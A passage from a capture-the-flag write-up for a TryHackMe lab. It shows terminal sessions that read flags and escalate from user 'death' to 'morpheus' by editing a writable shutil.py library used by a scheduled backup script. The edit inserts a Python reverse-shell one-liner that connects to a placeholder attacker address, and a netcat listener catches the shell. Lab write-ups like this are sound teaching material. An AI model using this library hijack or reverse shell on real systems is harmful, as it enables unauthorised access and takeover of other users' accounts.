Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Nov 17 21:44:20 2023
death@ip-10-10-REDACTED:~$
We are now Death!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
death@ip-10-10-REDACTED:~$ cd /home/death
death@ip-10-10-REDACTED:~$ ls -la
total 56
drwxr-xr-x 4 death death 4096 Aug 25 2023 .
drwxr-xr-x 6 root root 4096 May 18 20:25 ..
-rw------- 1 death death 486 Jul 17 08:58 .bash_history
-rw-r--r-- 1 death death 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 death death 3771 Feb 25 2020 .bashrc
drwx------ 3 death death 4096 Jul 28 2023 .cache
-rw-rw---- 1 death death 21 Jul 28 2023 death_flag.txt
-rwxrwx--x 1 death death 1539 Aug 25 2023 getDreams.py
drwxrwxr-x 4 death death 4096 Jul 28 2023 .local
-rw------- 1 death death 465 Aug 25 2023 .mysql_history
-rw-r--r-- 1 death death 807 Feb 25 2020 .profile
-rw------- 1 death death 8157 Aug 7 2023 .viminfo
-rw-rw-r-- 1 death death 165 Jul 29 2023 .wget-hsts
death@ip-10-10-REDACTED:~$ cat death_flag.txt
THM{REDACTED}
We got Death’s flag!
Morpheus
When moving around and looking, it seemed like we have access to Morpheus’s home folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
death@ip-10-10-REDACTED:~$ cd /home/morpheus
death@ip-10-10-REDACTED:/home/morpheus$ ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 2023 .
drwxr-xr-x 6 root root 4096 May 18 20:25 ..
-rw------- 1 morpheus morpheus 58 Aug 14 2023 .bash_history
-rw-r--r-- 1 morpheus morpheus 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25 2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus 22 Jul 28 2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 2023 .local
-rw-rw---- 1 morpheus morpheus 28 Jul 28 2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus 807 Feb 25 2020 .profile
-rw-rw-r-- 1 morpheus morpheus 180 Aug 7 2023 restore.py
-rw-rw-r-- 1 morpheus morpheus 66 Jul 28 2023 .selected_editor
We see a readable restore.py
file.
1
2
3
4
5
6
7
8
death@ip-10-10-REDACTED:/home/morpheus$ cat restore.py
from shutil import copy2 as backup
src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!")
It seems like the folder /home/morpheus/kingdom
is being backed up to /kingdom_backup/kingdom
. It’s possible that this file is being run once every few minutes, and it seems like it is using backup from the shutil library. Let’s find that shutil file on the system.
1
2
3
4
5
6
7
8
9
10
death@ip-10-10-REDACTED:/home/morpheus$ find / -name "shutil*" 2>/dev/null
/usr/lib/python3.8/shutil.py
/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/usr/lib/byobu/include/shutil
/snap/core20/1974/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/snap/core20/2015/usr/lib/python3.8/shutil.py
death@ip-10-10-REDACTED:/home/morpheus$ ls -la /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Mar 18 20:04 /usr/lib/python3.8/shutil.py
With the /usr/lib/python3.8/shutil.py
file, we can edit it so that it runs a command for us to get a reverse shell from Morpheus.
1
2
death@ip-10-10-REDACTED:/home/morpheus$ nano /usr/lib/python3.8/shutil.py
Add: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACK_IP",ATTACK_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")
Set up a netcat listener.
1
2
3
4
Command: nc -lnvp ATTACK_PORT
listening on [any] 4444 ...
connect to [10.REDACTED] from (UNKNOWN) [10.10.REDACTED] 43366
$
We are now Morpheus!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ whoami
whoami
morpheus
$ cd /home/morpheus
cd /home/morpheus
$ ls -la
ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 2023 .
drwxr-xr-x 6 root root 4096 May 18 20:25 ..
-rw------- 1 morpheus morpheus 58 Aug 14 2023 .bash_history
-rw-r--r-- 1 morpheus morpheus 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25 2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus 22 Jul 28 2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 2023 .local
-rw-rw---- 1 morpheus morpheus 28 Jul 28 2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus 807 Feb 25 2020 .profile
-rw-rw-r-- 1 morpheus morpheus 180 Aug 7 2023 restore.py
-rw-rw-r-- 1 morpheus morpheus 66 Jul 28 2023 .selected_editor
$ cat morpheus_flag.txt
cat morpheus_flag.txt
THM{REDACTED}